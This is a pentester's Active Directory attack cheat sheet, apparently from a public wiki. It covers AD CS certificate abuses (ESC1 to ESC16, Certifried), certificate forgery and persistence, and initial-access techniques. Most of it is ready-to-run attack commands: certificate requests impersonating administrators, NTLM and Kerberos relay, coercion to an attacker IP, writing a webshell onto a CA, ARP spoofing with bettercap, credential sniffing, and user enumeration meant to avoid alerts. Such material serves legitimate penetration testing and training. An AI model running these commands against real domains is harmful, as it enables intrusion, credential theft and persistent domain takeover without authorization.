certipy req -u 'machine@contoso.local' -hashes ':<hash_NT>' -dc-ip 'DC_IP' -target 'ca_host' -ca 'ca_name' -template 'Authentication Template'

Account persistence via Certificate Renewal - PERSIST3

The renewal period of a template indicates the timeframe before the certificate expiration where the user can manually renew his certificate.

The attacker, however, can renew the certificate before expiration. This can function as an extended persistence approach that prevents additional ticket enrollments from being requested, which can leave artifacts on the CA server itself.

Domain Privesc

Template Attacks - ESC1, 2, 3, 9, 10, 13, 14, 15

In case PKINIT authentication fails with "Object SID mismatch between certificate and user", this means that Strong Certificate Mapping has been enabled. To avoid this error, you have to specify the target user SID in the req command, with -sid 'SID'with Certipy, and /sid 'SID' with Certify.

image-1640805125672.png

Template misconfiguration - ESC1, 2 & 3

Windows
ESC1 & 2
# Find vulnerable/abusable certificate templates using default low-privileged group
Certify.exe find /vulnerable

# Find vulnerable/abusable certificate templates using all groups the current user context is a part of:
Certify.exe find /vulnerable /currentuser

# Request certificate with SAN
Certify.exe request /ca:CA.contoso.local\CA /template:"Vulnerable template" /altname:"admin"

# Convert PEM to PFX (from Linux)
openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out admin.pfx

If ANY EKU but no Client Authentication, it can be used as en ESC3.

ESC2 & 3
# Request an enrollment agent certificate
Certify.exe request /ca:CA.contoso.local\CA /template:Vuln-EnrollAgentTemplate

# Request a certificate on behalf of another to a template that allow for domain authentication
Certify.exe request /ca:CA.contoso.local\CA /template:User /onbehalfon:CONTOSO\Admin /enrollcert:enrollmentAgentCert.pfx /enrollcertpw:Passw0rd!
Linux
ESC1 & 2
# enumerate and save text, json and bloodhound (original) outputs
certipy find -u 'user@contoso.local' -p 'password' -dc-ip 'DC_IP' -old-bloodhound

# quickly spot vulnerable elements
certipy find -u 'user@contoso.local' -p 'password' -dc-ip 'DC_IP' -vulnerable -stdout

#To specify a user account in the SAN
certipy req -u 'user@contoso.local' -p 'password' -dc-ip 'DC_IP' -target 'ca_host' -ca 'ca_name' -template 'vulnerable template' -upn 'administrator@contoso.local'

#To specify a computer account in the SAN
certipy req -u 'user@contoso.local' -p 'password' -dc-ip 'DC_IP' -target 'ca_host' -ca 'ca_name' -template 'vulnerable template' -dns 'dc.contoso.local'

If ANY EKU but no Client Authentication, it can be used as en ESC3.

ESC2 & 3
# Request a certificate specifying the Certificate Request Agent EKU
certipy req -u 'user@contoso.local' -p 'password' -dc-ip 'DC_IP' -target 'ca_host' -ca 'ca_name' -template 'vulnerable template'

# Used issued certificate to request another certificate on behalf of another user
certipy req -u 'user@contoso.local' -p 'password' -dc-ip 'DC_IP' -target 'ca_host' -ca 'ca_name' -template 'User' -on-behalf-of 'contoso\domain admin' -pfx 'user.pfx'

Extension misconfiguration - ESC9 & 10

Windows
ESC9

Here, user1 has GenericWrite against user2 and want to compromise user3. user2 is allowed to enroll in a vulnerable template that specifies the CT_FLAG_NO_SECURITY_EXTENSION flag in the msPKI-Enrollment-Flag value.

#Retrieve user2 creds via Shadow Credentials
Whisker.exe add /target:"user2" /domain:"contoso.local" /dc:"DOMAIN_CONTROLLER" /path:"cert.pfx" /password:"pfx-password"
#Change user2 UPN to user3
Set-DomainObject user2 -Set @{'userPrincipalName'='user3'} -Verbose
#Request vulnerable certif with user2
Certify.exe request /ca:CA.contoso.local\CA /template:"Vulnerable template"
#user2 UPN change back
Set-DomainObject user2 -Set @{'userPrincipalName'='user2@contoso.local'} -Verbose
#Authenticate with the certif and obtain user3 hash during UnPac the hash
Rubeus.exe asktgt /getcredentials /certificate:"BASE64_CERTIFICATE" /password:"CERTIFICATE_PASSWORD" /domain:"contoso.local" /dc:"DOMAIN_CONTROLLER" /show
ESC10 - Case 1

Here, user1 has GenericWrite against user2 and want to compromise user3.

#Retrieve user2 creds via Shadow Credentials
Whisker.exe add /target:"user2" /domain:"contoso.local" /dc:"DOMAIN_CONTROLLER" /path:"cert.pfx" /password:"pfx-password"
#Change user2 UPN to user3
Set-DomainObject user2 -Set @{'userPrincipalName'='user3'} -Verbose
#Request authentication certif with user2
Certify.exe request /ca:CA.contoso.local\CA /template:"User"
#user2 UPN change back
Set-DomainObject user2 -Set @{'userPrincipalName'='user2@contoso.local'} -Verbose
#Authenticate with the certif and obtain user3 hash during UnPac the hash
Rubeus.exe asktgt /getcredentials /certificate:"BASE64_CERTIFICATE" /password:"CERTIFICATE_PASSWORD" /domain:"contoso.local" /dc:"DOMAIN_CONTROLLER" /show
ESC10 - Case 2

Here, user1 has GenericWrite against user2 and want to compromise the domain controller DC$@contoso.local.

#Retrieve user2 creds via Shadow Credentials
Whisker.exe add /target:"user2" /domain:"contoso.local" /dc:"DOMAIN_CONTROLLER" /path:"cert.pfx" /password:"pfx-password"
#Change user2 UPN to DC$@contoso.local
Set-DomainObject user2 -Set @{'userPrincipalName'='DC$@contoso.local'} -Verbose
#Request authentication certif with user2
Certify.exe request /ca:CA.contoso.local\CA /template:"User"
#user2 UPN change back
Set-DomainObject user2 -Set @{'userPrincipalName'='user2@contoso.local'} -Verbose

Now, authentication with the obtained certificate will be performed through Schannel. It can be used to perform, for example, an RBCD.

Linux
ESC9

Here, user1 has GenericWrite against user2 and want to compromise user3. user2 is allowed to enroll in a vulnerable template that specifies the CT_FLAG_NO_SECURITY_EXTENSION flag in the msPKI-Enrollment-Flag value.

#Retrieve user2 creds via Shadow Credentials
certipy shadow auto -username 'user1@contoso.local' -p 'password' -account user2
#Change user2 UPN to user3
certipy account update -username 'user1@contoso.local' -p 'password' -user user2 -upn user3@contoso.local
#Request vulnerable certif with user2
certipy req -username 'user2@contoso.local' -hash 'hash_value' -target 'ca_host' -ca 'ca_name' -template 'vulnerable template'
#user2 UPN change back
certipy account update -username 'user1@contoso.local' -p 'password' -user user2 -upn user2@contoso.local
#Authenticate with the certif and obtain user3 hash during UnPac the hash
certipy auth -pfx 'user3.pfx' -domain 'contoso.local'
ESC10 - Case 1

Here, user1 has GenericWrite against user2 and want to compromise user3.

#Retrieve user2 creds via Shadow Credentials
certipy shadow auto -username 'user1@contoso.local' -p 'password' -account user2
#Change user2 UPN to user3
certipy account update -username 'user1@contoso.local' -p 'password' -user user2 -upn user3@contoso.local
#Request authentication certif with user2
certipy req -username 'user2@contoso.local' -hash 'hash_value' -ca 'ca_name' -template 'User'
#user2 UPN change back
certipy account update -username 'user1@contoso.local' -p 'password' -user user2 -upn user2@contoso.local
#Authenticate with the certif and obtain user3 hash during UnPac the hash
certipy auth -pfx 'user3.pfx' -domain 'contoso.local'
ESC10 - Case 2

Here, user1 has GenericWrite against user2 and want to compromise the domain controller DC$@contoso.local.

#Retrieve user2 creds via Shadow Credentials
certipy shadow auto -username 'user1@contoso.local' -p 'password' -account user2
#Change user2 UPN to DC$@contoso.local
certipy account update -username 'user1@contoso.local' -p 'password' -user user2 -upn 'DC$@contoso.local'
#Request authentication certif with user2
certipy req -username 'user2@contoso.local' -hash 'hash_value' -ca 'ca_name' -template 'User'
#user2 UPN change back
certipy account update -username 'user1@contoso.local' -p 'password' -user user2 -upn user2@contoso.local
#Authenticate through Schannel to realise a RBCD in a LDAP shell
certipy auth -pfx dc.pfx -dc-ip 'DC_IP' -ldap-shell

Issuance policiy with privileged group linked - ESC13

Issuance policy can be added to certificate template in the msPKI-Certificate-Policy attribute. Issuing policies are msPKI-Enterprise-Oid objects found in the PKI OID container (CN=OID,CN=Public Key Services,CN=Services, in the Configuration Naming Context).

This object has an msDS-OIDToGroupLink attribute which allows a policy to be linked to an AD group so that a system can authorise a user presenting the certificate as if he were a member of this group. As explained by Jonas Bülow Knudsen here.

Windows

Identify a template with an issuance policy.

Get-ADObject "CN='Vulnerable template',$TemplateContainer" -Properties msPKI-Certificate-Policy

Verify if an interesting group is linked to this policy.

Get-ADObject "CN=$POLICY_ID,$OIDContainer" -Properties DisplayName,msPKI-Cert-Template-OID,msDS-OIDToGroupLink

Then just request a certificate from the template.

.\Certify.exe request /ca:CA.contoso.local\CA01 /template:"Vulnerable template"
Linux

This PR on Certipy permits to identify template with issuance policy, and which ones are linked to group.

certipy find -u 'user1@contoso.local' -p 'password' -dc-ip 'DC_IP'

Then just request a certificate from the template.

certipy req -u 'user1@contoso.local' -p 'password' -dc-ip 'DC_IP' -target 'ca_host' -ca 'ca_name' -template 'Vulnerable template'

Weak explicit mapping - ESC14

Theory and requirements for this privilege escalation technique are pretty complex, and it is mandatory to have strong knowledges about certificate mapping. I recommend you to read this page first.

Detection
# Get the ACEs for a single object based on DistinguishedName
Get-WriteAltSecIDACEs -DistinguishedName "dc=contoso,dc=local"

# Get ACEs of all AD objects under domain root by piping them into Get-WriteAltSecIDACEs
Get-ADObject -Filter * -SearchBase "dc=contoso,dc=local" | Get-WriteAltSecIDACEs

dacledit.py -action 'read' -principal 'controlled_object' -target 'target_object' 'contoso'/'user':'password'

Get-AltSecIDMapping -SearchBase "CN=Users,DC=contoso,DC=local"
ESC14 A - Write access on altSecurityIdentities
# Obtain a first certificate
Certify.exe request /ca:contoso\ca /template:Machine /machine

# Craft a X509IssuerSerialNumber mapping string
Get-X509IssuerSerialNumberFormat -SerialNumber $SERIAL_NUMBER -IssuerDistinguishedName $ISSUER_DN

# Add the string to the altSecurityIdentities attribute on the target
Add-AltSecIDMapping -DistinguishedName $TARGET_DN -MappingString $MAPPING_STRING
Get-AltSecIDMapping -DistinguishedName $TARGET_DN

# Use the previous certificate to authenticate as the target
ESC14 B - Target with X509RFC822 (email)
# Overwrite the mail attribute of the victim to match the X509RFC822 mapping of the target
$victim = [ADSI]"LDAP://$VICTIM_DN"
$victim.Properties["mail"].Value = $TARGET_EMAIL
$victim.CommitChanges()

# Request a certificate as the victim to authenticate as the target
Certify.exe request /ca:contoso\ca /template:$TEMPLATE_MAIL
ESC14 C - Target with X509IssuerSubject
# Overwrite the cn attribute of the victim to be equal to target.contoso.local
$victim = [ADSI]"LDAP://CN=$VICTIM,CN=Users,DC=contoso,DC=local"
$victim.Rename("CN=$TARGET.contoso.local")
Get-ADUser $VICTIM

# Request a certificate as the victim to authenticate as the target
Certify.exe request /ca:contoso\ca /template:$TEMPLATE
ESC14 D - Target with X509SubjectOnly
# Overwrite the cn attribute of the victim to be equal to target.contoso.local
$victim = [ADSI]"LDAP://CN=$VICTIM,CN=Computers,DC=contoso,DC=local"
$victim.Properties["dNSHostName"].Value = $TARGET
$victim.CommitChanges()

# Request a certificate as the victim to authenticate as the target
Certify.exe request /ca:contoso\ca /template:$TEMPLATE /machine

Arbitrary application policy - ESC15 (CVE-2024-49019)

# Request a certificate with "Certificate Request Agent" application policy
certipy req -u user1@contoso.local -p 'password' --application-policies "1.3.6.1.4.1.311.20.2.1" -ca 'ca_name' -template 'vulnerable template' -dc-ip 'DC_IP'

# Use the certificate in a ESC3 scenario to ask for a new certificate on behalf of another user
certipy req -u user1@contoso.local -p 'password' -on-behalf-of domain\\Administrator -template User -ca 'ca_name' -pfx cert.pfx -dc-ip 'DC_IP'

# Authenticate with the last certificate
certipy auth -pfx administrator.pfx -dc-ip 'DC_IP'

Access Controls Attacks - ESC4, 5, 7

Sufficient rights against a template - ESC4

  1. Get Enrollment rights for the vulnerable template
  2. Disable PEND_ALL_REQUESTS flag in mspki-enrollment-flag for disabling Manager Approval
  3. Set mspki-ra-signature attribute to 0 for disabling Authorized Signature requirement
  4. Enable ENROLLEE_SUPPLIES_SUBJECT flag in mspki-certificate-name-flag for specifying high privileged account name as a SAN
  5. Set mspki-certificate-application-policy to a certificate purpose for authentication
    • Client Authentication (OID: 1.3.6.1.5.5.7.3.2)
    • Smart Card Logon (OID: 1.3.6.1.4.1.311.20.2.2)
    • PKINIT Client Authentication (OID: 1.3.6.1.5.2.3.4)
    • Any Purpose (OID: 2.5.29.37.0)
    • No EKU
  6. Request a high privileged certificate for authentication and perform Pass-The-Ticket attack
Windows
# Add Certificate-Enrollment rights
Add-DomainObjectAcl -TargetIdentity templateName -PrincipalIdentity "Domain Users" -RightsGUID "0e10c968-78fb-11d2-90d4-00c04f79dc55" -TargetSearchBase "LDAP://CN=Configuration,DC=contoso,DC=local" -Verbose

# Disabling Manager Approval Requirement
Set-DomainObject -SearchBase "CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=contoso,DC=local" -Identity tempalteName -XOR @{'mspki-enrollment-flag'=2} -Verbose

# Disabling Authorized Signature Requirement
Set-DomainObject -SearchBase "CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=contoso,DC=local" -Identity templateName -Set @{'mspki-ra-signature'=0} -Verbose

# Enabling SAN Specification
Set-DomainObject -SearchBase "CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=contoso,DC=local" -Identity templateName -XOR @{'mspki-certificate-name-flag'=1} -Verbose

# Editting Certificate Application Policy Extension
Set-DomainObject -SearchBase "CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=contoso,DC=local" -Identity templateName -Set @{'mspki-certificate-application-policy'='1.3.6.1.5.5.7.3.2'} -Verbose
Linux
# Overwrite the certificate template and save the old configuration
certipy template -u 'user@contoso.local' -p 'password' -dc-ip 'DC_IP' -template templateName -save-old

# After the ESC1 attack, restore the original configuration
certipy template -u 'user@contoso.local' -p 'password' -dc-ip 'DC_IP' -template templateName -configuration 'templateName.json'

# Query a certificate template (all attributes)
python3 modifyCertTemplate.py -template templateName contoso.local/user:pass

# Query the raw values of all template attributes
python3 modifyCertTemplate.py -template templateName -raw contoso.local/user:pass

# Query the ACL for a certificate template
python3 modifyCertTemplate.py -template templateName -get-acl contoso.local/user:pass


# Disabling Manager Approval Requirement
python3 modifyCertTemplate.py -template templateName -value 2 -property mspki-enrollment-flag contoso.local/user:pass 

# Disabling Authorized Signature Requirement
python3 modifyCertTemplate.py -template templateName -value 0 -property mspki-ra-signature contoso.local/user:pass 

# Enabling SAN Specification
python3 modifyCertTemplate.py -template templateName -add enrollee_supplies_subject -property msPKI-Certificate-Name-Flag contoso.local/user:pass 

# Editting Certificate Application Policy Extension
python3 modifyCertTemplate.py -template templateName -value "'1.3.6.1.5.5.7.3.2', '1.3.6.1.5.2.3.4'" -property mspki-certificate-application-policy contoso.local/user:pass

Sufficient rights against several objects - ESC5

For more explains, take a look at this blog post and this one.

In an AD, the Configuration naming context object is duplicated between all the writable DC of the forest, and any changes made by a DC in this object in its local copy are automatically propagated to all the other DC, including the DC of the root domain.

The SYSTEM user on the child domain’s domain controller has full control of some objects in the domain-local copy of the forest root domain’s Configuration naming context.

In particular, it has Full Control over the Certificate Templates container, meaning that it can add new (vulnerable) certificate templates, that will be replicated to the Configuration naming context on the root domain controller. Then, it also has Full Control over the Enrollment Services container, where the published templates are stored.

So the privesc from DA in a child domain to EA in the root domain is quit straightforward:

Sufficient rights against the CA - ESC7

Windows
# If RSAT is not present on the machine
DISM.exe /Online /Get-Capabilities
DISM.exe /Online /add-capability /CapabilityName:Rsat.CertificateServices.Tools~~~~0.0.1.0

# Install PSPKI
Install-Module -Name PSPKI
Import-Module PSPKI
PSPKI > Get-CertificationAuthority -ComputerName CA.contoso.local | Get-CertificationAuthorityAcl | select -ExpandProperty access

$configReader = New-Object SysadminsLV.PKI.Dcom.Implementations.CertSrvRegManagerD "CA.contoso.com"
$configReader.SetRootNode($true)
$configReader.GetConfigEntry("EditFlags", "PolicyModules\CertificateAuthority_MicrosoftDefault.Policy")
$configReader.SetConfigEntry(1376590, "EditFlags", "PolicyModules\CertificateAuthority_MicrosoftDefault.Policy")

# Check after setting the flag (EDITF_ATTRIBUTESUBJECTALTNAME2 should appear in the output)
certutil.exe -config "CA.consoto.local\CA" -getreg "policy\EditFlags"
reg query \\CA.contoso.com\HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\CertSvc\Configuration\contoso-CA-CA\PolicyModules\CertificateAuthority_MicrosoftDefault.Policy /v EditFlags

On another hand, it is possible to create a new CRL Distribution Point (CDP) that point to a controlled server is order to obtain an NTLM authentication from the AD CS server.

Certify.exe coerceauth /ca:CA.contoso.local\CA01 /target:<attacker_IP>

Or write a webshell in the web server directory on the CA via a CDP manipluation:

Certify.exe writefile /ca:CA.contoso.local\CA01 /path:C:\inetpub\wwwroot\shell.asp /input:shell.asp

# Request a certificate that requires manager approval with Certify
Certify.exe request /ca:CA.contoso.local\CA01 /template:ApprovalNeeded
...
[*] Request ID : 1337

# Approve a pending request with PSPKI
PSPKI > Get-CertificationAuthority -ComputerName CA.contoso.local | Get-PendingRequest -RequestID 1337 | Approve-CertificateRequest

# Download the issued certificate with Certify
Certify.exe download /ca:CA.contoso.local\CA01 /id:1337
Linux

When it is not possible to restart the CertSvc service to enable the EDITF_ATTRIBUTESUBJECTALTNAME2 attribute,the built-in template SubCA can be usefull.

It is vulnerable to the ESC1 attack, but only Domain Admins and Enterprise Admins can enroll in it. If a standard user try to enroll in it with Certipy, he will encounter a CERTSRV_E_TEMPLATE_DENIED errror and will obtain a request ID with a corresponding private key.

This ID can be used by a user with the ManageCA and ManageCertificates rights to validate the failed request. Then, the user can retrieve the issued certificate by specifying the same ID.

# Add a new officier
certipy ca -u 'user@contoso.local' -p 'password' -dc-ip 'DC_IP' -ca 'ca_name' -add-officer 'user'

# List all the templates
certipy ca -u 'user@contoso.local' -p 'password' -dc-ip 'DC_IP' -ca 'ca_name' -list-templates

# Enable a certificate template
certipy ca -u 'user@contoso.local' -p 'password' -dc-ip 'DC_IP' -ca 'ca_name' -enable-template 'SubCA'

# Issue a failed request (need ManageCA and ManageCertificates rights for a failed request)
certipy ca -u 'user@contoso.local' -p 'password' -dc-ip 'DC_IP' -target 'ca_host' -ca 'ca_name' -issue-request 100

# Retrieve an issued certificate
certipy req -u 'user@contoso.local' -p 'password' -dc-ip 'DC_IP' -target 'ca_host' -ca 'ca_name' -retrieve 100

CA Configuration - ESC6, 12, 16

EDITF_ATTRIBUTESUBJECTALTNAME2 - ESC6

If the CA flag EDITF_ATTRIBUTESUBJECTALTNAME2 is set, it is possible to specify a SAN in any certificate request. This ESC has been patched with the Certifried CVE patch. If the updates are installed, exploitation requires either a template vulnerable to ESC9 or misconfigured registry keys vulnerable to ESC10.

Windows
# Find info about CA
Certify.exe cas

# Find template for authent
Certify.exe /enrolleeSuppliesSubject
Certify.exe /clientauth

# Request certif with SAN
Certify.exe request /ca:'domain\ca' /template:"Certificate template" /altname:"admin"
Linux
# Verify if the flag is set
certipy find -u 'user@contoso.local' -p 'password' -dc-ip 'DC_IP' -stdout | grep "User Specified SAN"

#To specify a user account in the SAN
certipy req -u 'user@contoso.local' -p 'password' -dc-ip 'DC_IP' -ca 'ca_name' -template 'vulnerable template' -upn 'administrator@contoso.local'

#To specify a computer account in the SAN
certipy req -u 'user@contoso.local' -p 'password' -dc-ip 'DC_IP' -ca 'ca_name' -template 'vulnerable template' -dns 'dc.contoso.local'

Shell access to ADCS CA with YubiHSM - ESC12

Administrators may configure the Certificate Authority to store its private key on an external device like "Yubico YubiHSM2", over storing it in the software storage.

This is a USB device connected to the CA server via a USB port, or a USB device server in case of the CA server is a virtual machine. "In order to generate and use keys in the YubiHSM, the Key Storage Provider must use an authentication key (sometimes dubbed "password"). This key/password is stored in the registry under HKEY_LOCAL_MACHINE\SOFTWARE\Yubico\YubiHSM\AuthKeysetPassword in cleartext."

With an access to the PKI server, it is possible to either redirect the the YubiHSM connection to a controlled machine, or import the PKI certificate and retrieve its private key to forge arbitrary certificate. Everything is explained here.

Security Extension Disabled on CA - ESC16

When a CA has the OID 1.3.6.1.4.1.311.25.2 added to its policy\DisableExtensionList registry setting (under HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\CertSvc\Configuration\<CA-Name>\PolicyModules\<PolicyModuleName>), every certificate issued by this CA will lack this SID security extension. This effectively makes all templates published by this CA behave as if they were individually configured with the CT_FLAG_NO_SECURITY_EXTENSION flag (as seen in ESC9).

ly4k - https://github.com/ly4k/Certipy/wiki/06-%E2%80%90-Privilege-Escalation#esc16-security-extension-disabled-on-ca-globally

To be exploitable, the DC must also not being configured to run in Full Enforcement Mode (StrongCertificateBindingEnforcement registry key value is not 2). View the previous link in the quote for more details.

The exploitation can be performed in the exact same way as an ESC9, but for any template enabled on the PKI.

# Check target UPN
certipy account -u 'user1@contoso.local' -p 'password' -dc-ip 'DC_IP' -user 'target' read

# Update target's UPN
certipy account -u 'user1@contoso.local' -p 'password' -dc-ip 'DC_IP' -upn 'administrator' -user 'target' update

# Retrieve target's credentials
certipy shadow -u 'user1@contoso.local' -p 'password' -dc-ip 'DC_IP' -account 'target' auto

# Request a certificate as the "target" user from any suitable client authentication template
export KRB5CCNAME=./target.ccache
certipy req -k -dc-ip 'DC_IP' -target 'ca.contoso.local' -ca 'ca_name' -template 'User'

# Rollback target's UPN
certipy account -u 'user1@contoso.local' -p 'password' -dc-ip 'DC_IP' -upn 'target@contoso.local' -user 'target' update

# Authenticate as Administrator
certipy auth -dc-ip 'DC_IP' -pfx 'administrator.pfx' -username 'administrator' -domain 'contoso.local'

In case Full Enforcement is enabled on the DC, it is still possible to exploit the ESC16, if the ESC6 is enabled :

# Request certificate, using ESC6 to specify target UPN and SID in SAN
certipy req -u 'user1@contoso.local' -p 'password' -dc-ip 'DC_IP' -target 'ca.contoso.local' -ca 'ca_name' -template 'User' -upn 'administrator@contoso.local' -sid 'SID'

# Authenticate using the obtained certificate
certipy auth -pfx 'administrator.pfx' -dc-ip 'DC_IP'

Relay Attacks - ESC8, 11

HTTP Endpoint - ESC8

If the HTTP endpoint is up on the CA and it accept NTLM authentication, it is vulnerable to NTLM or Kerberos relay.

NTLM Relay
# Prepare relay
ntlmrelayx -t "http://CA/certsrv/certfnsh.asp" --adcs --template "Template name"
#Or
certipy relay -ca ca.contoso.local

# Find a way to leak the machine or user Net-NTLM hash (Printerbug, Petitpotam, PrivExchange, etc)

ESC8 with NTLM relay can be performed from a WSUS poisoning.

#arpspoofing between the target and the WSUS server
    #In a first terminal
sudo arpspoof -i enp0s3 -t <target> <WSUS_server>
    #In a second  terminal
sudo arpspoof -i enp0s3 -t <WSUS_server> <target>

#Redirect WSUS trafic to port 80
sudo iptables -t nat -A PREROUTING -p tcp --dport 8530 -j REDIRECT --to-ports 80
sudo socat TCP-LISTEN:8530,fork TCP:80

# Prepare relay and wait for an authentication
ntlmrelayx -t "http://CA/certsrv/certfnsh.asp" --adcs --template "Computer"
Kerberos Relay

It is possible with the last versions of mitm6 and krbrelayx.

#Setup the relay
sudo krbrelayx.py --target http://CA/certsrv -ip attacker_IP --victim target.contoso.local --adcs --template Machine

#Run mitm6
sudo mitm6 --domain contoso.local --host-allowlist target.contoso.local --relay CA.contoso.local -v

RPC Endpoint - ESC11

Certificate request can be realised through the MS-ICPR RPC endpoint. If the flag IF_ENFORCEENCRYPTICERTREQUEST is enabled on the CA, NTLM signing is required and no relay is possible (default configuration). But, Windows Servers < 2012 and Windows XP clients need the flag to be removed for compatibility.

If Enforce Encryption for Requests : Disabled appears on the Certipy CA enumeration output, relay is possible (use this Certipy fork and this Impacket fork for the moment):

ntlmrelayx.py -t "rpc://ca.contoso.local" -rpc-mode ICPR -icpr-ca-name "ca_name" -smb2support

Certifried (CVE-2022–26923)

The CVE is well explained here. The right to create a computer account or the write rights over an existing account are needed.

Windows

#Clean the SPNs on the controlled computer account
Set-ADComputer <controlled_name> -ServicePrincipalName @{}
#Set the dNSHostName value to the name of a computer account to impersonate
Set-ADComputer <controlled_name> -DnsHostName dc.contoso.local
#Request a certificate
Certify.exe request /ca:CA.contoso.local\CA /template:"Machine"

Linux

To check if the CVE is present, request un certificate as a user. If Certipy print Certificate object SID is [...], the CVE cannot be exploited.

#Clean the SPNs on the controlled computer account
bloodyAD.py -u user1 -p password -d contoso.local setAttribute 'CN=<controlled_name>,CN=Computers,DC=contoso,DC=local' serviceprincipalname '[]'

#Set the dNSHostName value to the name of a computer account to impersonate
bloodyAD.py -u user1 -p password -d contoso.local setAttribute 'CN=<controlled_name>,CN=Computers,DC=contoso,DC=local' dnsHostName '["dc.contoso.local"]'

#Request a certificate
certipy req -u '<controlled_name>@contoso.local' -p 'password' -dc-ip 'DC_IP' -target 'ca_host' -ca 'ca_name' -template 'Machine'

Domain Persistence

Forge certificates with stolen CA certificate - DPERSIST1

With the CA Certificate it is possible to forge any arbitrary certificate. The CA certificate can be extracted on the CA server as presented in the THEFT2 section, it's a certificate without any EKU and a "CA Version" extension. Additionally, the Issuer and the Subject are the CA itself.

Side note: since a forged certificate has not been issued by the CA, it cannot be revoked...

Windows

With the certificate and the private key in PFX format, ForgeCert can be used:

./ForgeCert.exe --CaCertPath ./ca.pfx --CaCertPassword 'Password123!' --Subject "CN=User" --SubjectAltName administrator@contoso.local --NewCertPath ./admin.pfx --NewCertPassword 'Password123!'

Linux

With admin prives on the CA server, Certipy can retrieve the CA certificate and its key:

certipy ca -backup -u 'user@contoso.local' -p 'password' -ca 'ca_name'

Then Certipy can forge the new certificate:

certipy forge -ca-pfx ca.pfx -upn administrator@contoso.local -subject 'CN=Administrator,CN=Users,DC=CONTOSO,DC=LOCAL'

Trusting Rogue CA Certificates - DPERSIST2

The principle is to generate a rogue self-signed CA certificate and add it to the NTAuthCertificates object. Then any forged certificates signed by this rogue certificate will be valid.

With sufficient privileges on the NTAuthCertificates AD object (Enterprise Admins or Domain Admins/Administrator in the root domain), the new certificate can be pushed like this:

certutil.exe -dspublish -f C:\CERT.crt NTAuthCA

Malicious Misconfiguration - DPERSIST3

Similarly to the ESC5, this point covers all the interesting rights that can be set (via DACL for example) to achieve a persistence. For example, setting a WriteOwner right on the User template for the attacker can be interesting. Other targets are worthwhile:

Pass-The-Certificate

PKINIT

With a certificate valid for authentication, it is possible to request a TGT via the PKINIT protocol.

Windows

# Information about a cert file
certutil -v -dump admin.pfx

# From a Base64 PFX
Rubeus.exe asktgt /user:"TARGET_SAMNAME" /certificate:cert.pfx /password:"CERTIFICATE_PASSWORD" /domain:"FQDN_DOMAIN" /dc:"DOMAIN_CONTROLLER" /show

Linux

# Authentication with PFX/P12 file
certipy auth -pfx 'user.pfx'

# PEM certificate (file) + PEM private key (file)
gettgtpkinit.py -cert-pem "PATH_TO_PEM_CERT" -key-pem "PATH_TO_PEM_KEY" "FQDN_DOMAIN/TARGET_SAMNAME" "TGT_CCACHE_FILE"

# PFX certificate (file) + password (string, optionnal)
gettgtpkinit.py -cert-pfx "PATH_TO_PFX_CERT" -pfx-pass "CERT_PASSWORD" "FQDN_DOMAIN/TARGET_SAMNAME" "TGT_CCACHE_FILE"

Schannel

If PKINIT is not working on the domain, LDAPS can be used to pass the certificate with PassTheCert.

Windows

./PassTheCert.exe --server dc.contoso.local --cert-path C:\cert.pfx --elevate --target "DC=domain,DC=local" --sid <user_SID>

#To restore
./PassTheCert.exe --server dc.contoso.local --cert-path C:\cert.pfx --elevate --target "DC=domain,DC=local" --restore restoration_file.txt

./PassTheCert.exe --server dc.contoso.local --cert-path C:\cert.pfx --add-computer --computer-name TEST$ --computer-password <password>

./PassTheCert.exe --server dc.contoso.local --cert-path C:\cert.pfx --rbcd --target "CN=DC,OU=Domain Controllers,DC=domain,DC=local" --sid <controlled_computer_SID>

./PassTheCert.exe --server dc.contoso.local --cert-path C:\cert.pfx --reset-password --target "CN=user1,OU=Users,DC=domain,DC=local" --new-password <new_password>

Linux

For RBCD attack with passthecert.py

#Create a new computer account
python3 passthecert.py -action add_computer -crt user.crt -key user.key -domain contoso.local -dc-ip 'DC_IP'

#Add delegation rights
python3 passthecert.py -action write_rbcd -crt user.crt -key user.key -domain contoso.local -dc-ip 'DC_IP' -port 389 -delegate-to <created_computer> -delegate-from TARGET$

#Impersonation is now possible

With Certipy

certipy auth -pfx dc.pfx -dc-ip 'DC_IP' -ldap-shell

References

Active Directory - Python edition

This cheatsheet is built from numerous papers, GitHub repos and GitBook, blogs, HTB boxes and labs, and other resources found on the web or through my experience. This was originally a private page that I made public, so it is possible that I have copy/paste some parts from other places and I forgot to credit or modify. If it the case, you can contact me on my Twitter @BlWasp_.

I will try to put as many links as possible at the end of the page to direct to more complete resources.

Misc

Internal audit mindmap

Insane mindmap by @M4yFly.

Find the domain and the DCs

Generally the domain name can be found in /etc/resolv.conf

Then the DNS is generally installed on the DC : nslookup domain.local

Usernames wordlist

Create a wordlist of usernames from list of Surname Name

Code here

python3 namemash.py users.txt > usernames.txt

Initial Access

What to do when you are plugged on the network without creds.

First, run bettercap with this config file:

# quick recon of the network
net.probe on

# set the ARP poisoning
set arp.spoof.targets <target_IP>
set arp.spoof.internal true
set arp.spoof.fullduplex true

# control logging and verbosity
events.ignore endpoint
events.ignore net.sniff.mdns

# start the modules
arp.spoof on
net.sniff on

sudo ./bettercap --iface <interface> --caplet spoof.cap

Then sniff with Wireshark. When it is finish, save the trace in a .pcap file and extract the secrets:

python3 ./Pcredz -f extract.pcap

# SMB Guest authentication
nxc smb <targets> -u 'Guest' -p '' --shares

# SMB Null/Anonymous session
nxc smb <DC_IP> --users

# LDAP null bind
nxc ldap <DC_IP> -u '' -p '' --users

nxc smb <target> -u '' -p '' --rid-brute 10000

Allows you to bruteforce Kerberos on user accounts while indicating whether the user account exists or not. Another advantage over smb_login is that it doesn't correspond to the same EventId, thus bypassing potential alerts. The script can work with 2 independent lists for users and passwords, but be careful not to block accounts!

./kerbrute userenum -domain domain.local users.txt

Test for the Top1000 with login = password

Possible other passwords:

(empty)
password
P@ssw0rd

In case a printer (or something similar) has an LDAP account, but use the SASL authentication family instead of SIMPLE, the classic LDAP passback exploitation with a nc server will not be sufficient to retrieve the credentials in clear text. Instead, use a custom LDAP server that only offer the weak PLAIN and LOGIN protocols. This Docker permits to operate with weak protocols.

docker buildx build -t ldap-passback .
